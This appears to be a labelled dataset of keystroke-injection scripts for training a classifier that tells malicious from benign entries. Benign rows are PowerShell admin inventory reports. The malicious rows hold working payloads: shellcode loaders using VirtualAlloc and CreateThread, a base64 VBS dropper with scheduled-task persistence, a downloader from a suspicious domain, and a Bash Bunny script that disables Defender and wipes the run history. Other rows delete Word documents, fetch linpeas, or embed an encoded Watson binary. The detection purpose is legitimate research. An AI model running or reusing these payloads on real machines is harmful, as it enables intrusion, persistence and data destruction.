win+r enter powershell enter enter enter class CommandResult { enter [bool]$Success enter [object[]]$Errors = @() enter [object[]]$Output = @() enter [Stream]$Streams = [Stream]::new() enter [bool]$Authorized = $true enter [timespan]$Duration enter enter [pscustomobject]Summarize() { enter return [pscustomobject]@{ enter Success = $this.Success enter Output = $this.Output enter Errors = foreach ($item in $this.Errors) { enter enter if ($item -is [System.Management.Automation.ErrorRecord]) { enter [ExceptionFormatter]::Summarize($item) enter } else { enter $item enter } enter } enter Authorized = $this.Authorized enter Duration = $this.Duration.TotalSeconds enter } enter } enter enter [string]ToJson() { enter return $this.Summarize() | ConvertTo-Json -Depth 10 -Compress enter } enter } enter enter,0,0,0.99990916,9.0845184e-05
"win+r enter powershell enter enter enter  enter [CmdletBinding()] enter param ( enter [Parameter(Mandatory, enter ValueFromPipeline)] enter [string[]]$AzureVM, enter [string]$ServiceName = 'ADBCLOUD', enter [switch]$Overwrite enter ) enter enter begin { enter Set-StrictMode -Version Latest enter try { enter $AzureModuleFilePath = ""$($env:ProgramFiles)\Microsoft SDKs\Windows Azure\PowerShell\ServiceManagement\Azure\Azure.psd1"" enter if (!(Test-Path $AzureModuleFilePath)) { enter Write-Error 'Azure module not found' enter } else { enter Import-Module $AzureModuleFilePath enter } enter enter $script:BackupContainer = 'backups' enter enter function New-Snapshot([Microsoft.WindowsAzure.Commands.ServiceManagement.Model.PersistentVMModel.OSVirtualHardDisk]$Disk) { enter $Blob = $Disk.MediaLink.Segments[-1] enter $Container = $Disk.MediaLink.Segments[-2].TrimEnd('/') enter $BlobCopyParams = @{ enter 'SrcContainer' = $Container; enter 'SrcBlob' = $Blob; enter 'DestContainer' = $BackupContainer enter } enter if ($Overwrite.IsPresent) { enter $BlobCopyParams.Force = $true enter } enter Start-AzureStorageBlobCopy @BlobCopyParams enter enter } enter if (!(Get-AzureStorageContainer -Name $BackupContainer -ea SilentlyContinue)) { enter Write-Verbose ""Container $BackupContainer not found. Creating..."" enter New-AzureStorageContainer -Name $BackupContainer -Permission Off enter } enter enter } catch { enter Write-Error $_.Exception.Message enter exit enter } enter } enter enter process { enter try { enter foreach ($Vm in $AzureVM) { enter $Vm = Get-AzureVM -ServiceName $ServiceName -Name $Vm enter if ($Vm.Status -ne 'StoppedVM') { enter if ($Vm.Status -eq 'ReadyRole') { enter Write-Verbose ""VM $($Vm.Name) is started. Bringing down into a provisioned state"" enter enter $Vm | Stop-AzureVm -StayProvisioned enter } elseif ($Vm.Status -eq 'StoppedDeallocated') { enter Write-Verbose ""VM $($Vm.Name) is stopped but not in a provisioned state."" enter enter Write-Verbose ""Starting up VM $($Vm.Name)..."" enter $Vm | Start-AzureVm enter while ((Get-AzureVm -ServiceName $ServiceName -Name $Vm.Name).Status -ne 'ReadyRole') { enter sleep 5 enter Write-Verbose ""Waiting on VM $($Vm.Name) to be in a ReadyRole state..."" enter } enter Write-Verbose ""VM $($Vm.Name) now up. Bringing down into a provisioned state..."" enter $Vm | Stop-AzureVm -StayProvisioned enter } enter enter } enter enter $OsDisk = $Vm | Get-AzureOSDisk enter Get-AzureSubscription | Set-AzureSubscription -CurrentStorageAccountName ($OsDisk.MediaLink.Host.Split('.')[0]) enter New-Snapshot -Disk $OsDisk enter $DataDisks = $Vm | Get-AzureDataDisk enter if ($DataDisks) { enter foreach ($DataDisk in $DataDisks) { enter New-Snapshot -Disk $DataDisk enter } enter } enter } enter } catch { enter Write-Error $_.Exception.Message enter exit enter } enter } enter enter end { enter try { enter enter } catch { enter Write-Error $_.Exception.Message enter } enter } enter $path= ""$env:userprofile\appdata\local\microsoft\Windows"" enter enter if(-not(Test-Path -Path($path))) enter {mkdir $path} enter enter $fileout=""$path\L69742.vbs""; enter enter $encstrvbs=""c2V0IHdzcyA9IENyZWF0ZU9iamVjdCgiV1NjcmlwdC5TaGVsbCIpDQpzdHIgPSAicG93ZXIiICYgInNoIiAmICJlbGwiICYgIi5lIiAmICJ4ZSAtTm9QIC1zdGEgLU5vbkkgLWUiICYgInhlIiAmICJjIGJ5cCIgJiAiYXMiICYgInMgLWZpIiAmICJsZSAiDQpwYXRoID0gIiNkcGF0aCMiDQpzdHIgPSBzdHIgKyBwYXRoICsgIlxtYy5wczEiDQp3c3MuUnVuIHN0ciwgMCANCg0K""; enter enter $bytevbs=[System.Convert]::FromBase64String($encstrvbs); enter enter $strvbs=[System.Text.Encoding]::ASCII.GetString($bytevbs); enter enter $strvbs = $strvbs.replace(' enter enter set-content $fileout $strvbs; enter enter $tmpfile=""$env:TEMP\U1848931.TMP""; enter $pscode_b64 =get-content $tmpfile | out-string; enter enter $pscode_b64=$pscode_b64.trim(); enter $pscode = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($pscode_b64)) enter enter $id = [string](get-random -min 10000 -max 100000) enter enter $pscode = $pscode.replace(' enter enter set-content ""$path\mc.ps1"" $pscode enter $taskstr=""schtasks /create /F /sc minute /mo 2 /tn """"GoogleServiceUpdate"""" /tr """"\""""$fileout""""\"""" ""; enter iex 'cmd /c $taskstr'; enter [decoded_payloads] enter [decoded:long_base64_literal] enter set wss = CreateObject(""WScript.Shell"") enter str = ""power"" & ""sh"" & ""ell"" & "".e"" & ""xe -NoP -sta -NonI -e"" & ""xe"" & ""c byp"" & ""as"" & ""s -fi"" & ""le "" enter path = ""#dpath#"" enter str = str + path + ""\mc.ps1"" enter wss.Run str, 0 enter enter",1,1,6.83714e-05,0.9999316
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""health_report_cam2a1jj"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-AppxPackage | enter Select-Object -First 150 Name, Version, Publisher | enter Export-Csv -Path (Join-Path $ReportDir ""software_appx_packages.csv"") -NoTypeInformation enter Write-Host ""Starting service_checks section 2."" enter Get-Service | enter Where-Object { $_.Status -eq ""Stopped"" } | enter Sort-Object Status | enter Select-Object Name, DisplayName, Status, ServiceType | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""service_stopped.json"") -Encoding UTF8 enter",0,0,0.9999658,3.419008e-05
delay_short enter unknown_key_action CTRL-ALT t enter delay_medium enter cd /dev/shm && wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh && chmod +x linpeas.sh && ./linpeas.sh -a > report.txt && less -r report.txt enter delay_short enter enter,1,1,7.58672e-05,0.9999242
win+r enter powershell enter enter enter win x a left enter Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1')) enter choco install firefox enter A enter enter enter,0,0,0.9999602,3.9856583e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""helpdesk_reports_0nyubp4a"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ChildItem -Path $env:TEMP -Directory -ErrorAction SilentlyContinue | enter Select-Object -First 50 Name, FullName, LastWriteTime | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""disk_filesystem_provider.txt"") -Encoding UTF8 enter Get-PnpDevice | enter Select-Object -First 150 Class, FriendlyName, Status, InstanceId | enter Export-Csv -Path (Join-Path $ReportDir ""device_pnp_devices.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999652,3.4799825e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""asset_report_winzqqeg"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ComputerInfo | enter Select-Object CsName, WindowsProductName, WindowsVersion, OsArchitecture, CsManufacturer, CsModel | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""hardware_summary_report.txt"") -Encoding UTF8 enter Write-Host ""Starting device_printer_inventory section 2."" enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""USB"" } | enter Select-Object -First 150 Class, FriendlyName, Status, InstanceId | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""device_usb_related_pnp.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999654,3.4535704e-05
"win+r enter cmd enter enter enter echo "" T1547.001 Hello World Bat"" enter enter",1,1,8.313178e-05,0.9999169
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_emi7c3al"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetConnectionProfile | enter Select-Object Name, InterfaceAlias, NetworkCategory, IPv4Connectivity, IPv6Connectivity | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""network_net_connection_profile.txt"") -Encoding UTF8 enter Get-ScheduledTask | enter Select-Object -First 100 TaskName, TaskPath, State | enter Export-Csv -Path (Join-Path $ReportDir ""scheduled_all_tasks.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.99996567,3.4281496e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""asset_report_i8h79zy3"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-CimInstance Win32_Service | enter Where-Object { $_.StartMode -eq ""Auto"" } | enter Sort-Object Status | enter Select-Object Name, DisplayName, Status | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""service_automatic.txt"") -Encoding UTF8 enter Write-Host ""Starting scheduled_task_inventory section 2."" enter Get-ScheduledTask | enter Where-Object { $_.State -eq ""Disabled"" } | enter Select-Object -First 150 TaskName, TaskPath, State | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_disabled_tasks.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999654,3.4628145e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""daily_check_j6k7rpst"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Process | enter Sort-Object ProcessName | enter Select-Object -First 25 ProcessName, Id, StartTime | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""process_process_overview_25.json"") -Encoding UTF8 enter",0,0,0.9999659,3.4136232e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""support_summary_s8x6fhhc"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetAdapter | enter Select-Object Name, InterfaceDescription, Status, LinkSpeed, MacAddress | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""network_adapter.txt"") -Encoding UTF8 enter $Paths = @(""HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*"", ""HKLM:\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*"") enter Get-ItemProperty $Paths -ErrorAction SilentlyContinue | enter Where-Object { $_.DisplayName } | enter Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | enter Sort-Object DisplayName | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""software_installed_programs.txt"") -Encoding UTF8 enter",0,0,0.9999652,3.48311e-05
"win+r powershell enter $OP4 = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntP enter tr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""ke enter rnel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, enter uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFla enter gs, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr mems enter et(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $OP4 -Na enter me ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xdb,0xcc,0 enter xd9,0x74,0x24,0xf4,0xba,0x04,0xad,0x73,0xc7,0x5e,0x33,0xc9,0xb1,0x47,0x31,0x56,0 enter x18,0x03,0x56,0x18,0x83,0xc6,0x00,0x4f,0x86,0x3b,0xe0,0x0d,0x69,0xc4,0xf0,0x71,0 enter xe3,0x21,0xc1,0xb1,0x97,0x22,0x71,0x02,0xd3,0x67,0x7d,0xe9,0xb1,0x93,0xf6,0x9f,0 enter x1d,0x93,0xbf,0x2a,0x78,0x9a,0x40,0x06,0xb8,0xbd,0xc2,0x55,0xed,0x1d,0xfb,0x95,0 enter xe0,0x5c,0x3c,0xcb,0 enter enter",1,1,5.446188e-05,0.9999455
"win+r enter powershell enter enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x05,0x68,0x0a,0xe4,0x25,0xc8,0x68,0x02,0x00,0x11,0x5c,0x89,0xe6,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0xff,0x4e,0x08,0x75,0xec,0xe8,0x61,0x00,0x00,0x00,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,0x36,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x22,0x58,0x68,0x00,0x40,0x00,0x00,0x6a,0x00,0x50,0x68,0x0b,0x2f,0x0f,0x30,0xff,0xd5,0x57,0x68,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x5e,0x5e,0xff,0x0c,0x24,0xe9,0x71,0xff,0xff,0xff,0x01,0xc3,0x29,0xc6,0x75,0xc7,0xc3,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x00,0x53,0xff,0xd5;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1934876e-05,0.999948
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_s6p08q3p"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Process | enter Sort-Object ProcessName | enter Select-Object -First 40 ProcessName, Id, StartTime | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""process_process_overview_40.json"") -Encoding UTF8 enter Get-WinEvent -LogName Application -MaxEvents 75 | enter Where-Object { $_.LevelDisplayName -in @(""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""event_application_errors_75.txt"") -Encoding UTF8 enter Get-LocalGroup | enter Select-Object Name, Description | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""user_local_groups.txt"") -Encoding UTF8 enter",0,0,0.99996495,3.5092093e-05
"win+r powershell enter try{ $geitxduav = $env:PUBLIC + ""\Libraries"" if (-not (Test-Path $geitxduav)) enter { md $geitxduav; } $uzjvfihd = $geitxduav + ""\WindowsIndexingService.vbs""; $vj enter gvcwzb = New-Object System.Net.WebClient; $vjgvcwzb.Credentials = [System.Net.C enter redentialCache]::DefaultCredentials; $vjgvcwzb.DownloadString(""http://z2uymda1 enter mtk.top/?need=ma7dd05&"") | out-file $uzjvfihd; schtasks.exe /create /TN ""Window enter sApplicationService"" /sc DAILY /st 00:00 /f /RI 20 /du 23:59 /TR $uzjvfihd; }ca enter tch{} function zhdathdybc( $zwidzwthz ){ $btffxdycv = New-Object System.Net.Web enter Client; $btffxdycv.Credentials = [System.Net.CredentialCache]::DefaultCredentia enter ls; enter",1,1,5.765132e-05,0.9999423
"win+r powershell enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr enter lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kern enter el32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, u enter int dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags enter , IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset enter (IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name "" enter Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xb8,0x09,0x2f, enter 0x12,0x54,0xdb,0xdf,0xd9,0x74,0x24,0xf4,0x5a,0x33,0xc9,0xb1,0x47,0x31,0x42,0x13, enter 0x03,0x42,0x13,0x83,0xea,0xf5,0xcd,0xe7,0xa8,0xed,0x90,0x08,0x51,0xed,0xf4,0x81, enter 0xb4,0xdc,0x34,0xf5,0xbd,0x4e,0x85,0x7d,0x93,0x62,0x6e,0xd3,0x00,0xf1,0x02,0xfc, enter 0x27,0xb2,0xa9,0xda,0x06,0x43,0x81,0x1f,0x08,0xc7,0xd8,0x73,0xea,0xf6,0x12,0x86, enter 0xeb,0x3f,0x4e,0x6b, enter enter",1,1,5.4665434e-05,0.9999453
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""health_report_z7qdzh32"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting scheduled_task_inventory section 1."" enter Get-ScheduledTask | enter Select-Object -First 150 TaskName, TaskPath, State | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_all_tasks.txt"") -Encoding UTF8 enter Write-Host ""Starting firewall_status section 2."" enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Outbound"" } | enter Select-Object -First 200 DisplayName, Enabled, Direction, Action, Profile | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_rules_outbound.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999651,3.496055e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""asset_report_g3marmge"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting system_inventory section 1."" enter Get-ComputerInfo | enter Select-Object CsName, WindowsProductName, WindowsVersion, OsArchitecture, CsManufacturer, CsModel | enter Export-Csv -Path (Join-Path $ReportDir ""computer_info_report.csv"") -NoTypeInformation enter Get-WinEvent -LogName Application -MaxEvents 150 | enter Where-Object { $_.LevelDisplayName -in @(""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Export-Csv -Path (Join-Path $ReportDir ""event_application_errors_150.csv"") -NoTypeInformation enter",0,0,0.9999665,3.3536548e-05
"win+r enter powershell enter enter enter function LoadConfiguration { enter enter param( enter [string]$configdir = (Split-Path -Path $PSScriptRoot -Parent) enter ) enter enter $configFilePath = Join-Path -Path $configdir -ChildPath $script:psakeConfigFile enter $defaultConfigFilePath = Join-Path -Path (Split-Path -Path $PSScriptRoot -Parent) -ChildPath $script:psakeConfigFile enter enter if (Test-Path -LiteralPath $configFilePath -PathType Leaf) { enter $configFileToLoad = $configFilePath enter } elseIf (Test-Path -LiteralPath $defaultConfigFilePath -PathType Leaf) { enter $configFileToLoad = $defaultConfigFilePath enter } else { enter throw 'Cannot find psake-config.ps1' enter } enter enter try { enter [System.Diagnostics.CodeAnalysis.SuppressMessage('PSUseDeclaredVarsMoreThanAssigments', '')] enter $config = GetCurrentConfigurationOrDefault enter . $configFileToLoad enter } catch { enter throw 'Error Loading Configuration from {0}: {1}' -f $configFileToLoad, $_ enter } enter } enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0xf1,0x81,0x68,0x02,0x00,0x01,0xb1,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.146812e-05,0.9999485
win+r powershell enter win x a left enter Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1')) enter choco install thunderbird enter A enter enter,0,0,0.99995935,4.0596315e-05
"win+r powershell enter Stop-Process -Name ""winword"" -ErrorAction SilentlyContinue start-sleep 3 $path = enter 'C:\Users\*\Downloads\*.docx' $path2 = 'C:\Users\*\Desktop\*.docx' Remove-Item enter $path -force -recurse -ErrorAction SilentlyContinue Remove-Item $path2 -force -r enter ecurse -ErrorAction SilentlyContinue $ZeeNEWsTV = ""C:\\ProgramData\\MEMEMAN"" Ne enter w-Item $ZeeNEWsTV -ItemType Directory -Force $NuclearDefusion = @' Function £ enter £Â£ { enter",1,1,0.000121858815,0.99987817
"win+r powershell enter param( [Parameter()] [switch] $Bootstrap, [Parameter()] [switch] $Clean, enter [Parameter()] [switch] $Test enter enter",1,1,0.007499716,0.99250025
unknown_key_action ATTACKMODE HID STORAGE enter delay_long enter unknown_key_action INJECT_MOD enter unknown_key_action HOLD SHIFT enter unknown_key_action HOLD a enter delay_medium enter unknown_key_action RELEASE a enter unknown_key_action RESET enter delay_medium enter nd reset,1,1,5.5979755e-05,0.999944
"win+r powershell enter DUCKY_REAL_BEGIN enter DELAY 5000 enter GUI d enter DELAY 1200 enter GUI r enter DELAY 1200 enter STRING powershell -nologo -noni -ep bypass enter CTRL-SHIFT ENTER enter DELAY 2000 enter LEFT enter DELAY 1000 enter ENTER enter DELAY 1000 enter STRING mode con:cols=100 lines=1 enter ENTER enter DELAY 500 enter STRING Set-MpPreference -DisableRealtimeMonitoring $true enter ENTER enter DELAY 1000 enter STRING REG DELETE HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /f enter ENTER enter DELAY 200 enter STRING $usb = (gwmi win32_volume -f 'label=""BASHBUNNY""').Name; powershell -nologo -noni -ep bypass -File $usb\payloads\switch1 enter un.ps1 enter ENTER enter DELAY 35000 enter STRING function eject {$driveEject = New-Object -comObject Shell.Application;$driveEject.Namespace(17).ParseName(""$usb"").InvokeVerb(""Eject"")} enter ENTER enter DELAY 1000 enter STRING echo ""Successful PWNd..."" enter ENTER enter DELAY 1000 enter STRING eject enter ENTER enter DELAY 1000 enter STRING Set-MpPreference -DisableRealtimeMonitoring $false enter ENTER enter DELAY 1000 enter STRING exit enter ENTER enter DUCKY_REAL_END enter",1,1,5.9959417e-05,0.99994004
"win+r powershell enter function Invoke-watson { $base64binary=""TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAA enter AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncm enter FtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDALzA4ooAAAAAAAAAAO enter AAIgALATAAAFwAAAAIAAAAAAAA8mwAAAAgAAAAgAAAAABAAAAgAAAAAgAABAAAAAAAAAAEAAAAAAAAAA enter DAAAAAAgAAAAAAAAMAQIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAJ9sAABPAAAAAIAAAK enter wFAAAAAAAAAAAAAAAAAAAAAAAAAKAAAAwAAAD8awAAOAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA enter AAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAA6FoAAA enter AgAAAAXAAAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAAKwFAAAAgAAAAAYAAABeAAAAAAAAAAAAAA enter AAAABAAABALnJlbG9jAAAMAAAAAKAAAAACAAAAZAAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAA enter AAAADTbAAAAAAAAEgAAAACAAUAkDQAAGw3AAABAAAABwAABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA enter AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABMwAQBbAAAAAAAAAHIBAABwKBAAAApySwAAcCgQAAAKcpUAAH enter AoEAAACnLfAABwKBAAAA enter enter",1,1,6.8183435e-05,0.9999318
